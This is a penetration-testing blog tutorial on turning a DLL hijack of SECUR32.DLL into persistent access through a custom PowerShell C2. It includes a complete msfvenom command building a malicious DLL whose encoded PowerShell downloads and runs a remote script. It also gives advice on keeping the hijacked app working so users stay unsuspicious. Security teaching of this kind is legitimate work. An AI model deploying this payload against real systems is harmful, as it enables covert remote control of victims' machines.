Weaponizing DLL Hijacking with Custom Powershell C2
Is DLL Hijacking dangerous? How can DLL Hijacked be used in real-life scenario? Hold me keyboard!
Hello everyone and hope you are fine. Today we are diving one step deeper from the previous exploitation of DLL Hijacking, where I showcased what is DLL Hijacking and how it can be exploited:(https://medium.com/@lsecqt/windows-desktop-thick-client-pentesting-dll-hijacking-c51c4375194d)
Now we are weaponizing things, my favourite part!
If you prefer watching a video instead of reading, feel welcomed to my channel: https://youtu.be/Sgx7BORbMGE
I like to start with theory first so, let’s go
Hope everything from the previous posts is clear, if so, what are we doing now? If you paid close attention to the previous post / video, you saw embedding calc.exe as our payload, this shows we can execute commands. Since we can execute commands we can execute powershell. Since we can execute powershell we can trigger our custom C2 based on powershell and C# (Creating Reverse C2 Channel with C# Powershell and Python | by Lsec | Medium)
The idea is simple
We just need to change the payload and rerun the exploit? Not exactly.
In the previous video / blog as soon as we hijacked profapi.dll we had a calc.exe popped up but not the real application, which can be suspicious to users. In order to establish persistence with DLL Hijacking, you must find a valid dll to hijack, a dll which will not entirely break the application. One I found useful (still breaks the app but just to get the point) is SECUR32.DLL.
It is being triggered after a login attempt, but the application starts normal.
Now let’s generate our paylod:
msfvenom -f dll -p windows/exec CMD="powershell.exe -exec bypass -nop -w hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADIANgAuADEAMgA4AC8AYwBsAGkAZQBuAHQALgBwAHMAMQAnACkA" -o SECUR32.DLL
Keep note of the base64-ed payload, we want to avoid any potential syntax errors.
Setup the environment, start all the listeners and shipping servers.
replace our SECUR32.DLL with the malicious one.
Run the app, log in with sample data and observe:
And Kaboom, we have persistence:
This was fast because our C2 payload was precompiled and can be easily injected. In Pentesting / Red Teaming you always have to pick the best tools to do the job. It would be hard to download EXE from dll hijacking (and it is generally a bad idea since a lot of things can go wrong), this powershell C2 runs almost fully from memory, thus it is nice alternative for establishing persistence. If you want to learn more about it, feel welcomed to my channel: https://youtu.be/Yoj0bQkIRqU
If we are talking about EXE Hijacking, it would be completely different story, and after all, why not perform an EXE Hijacking next time?
Thank you for your attention and see you all in the next one.
Hope you learned something new!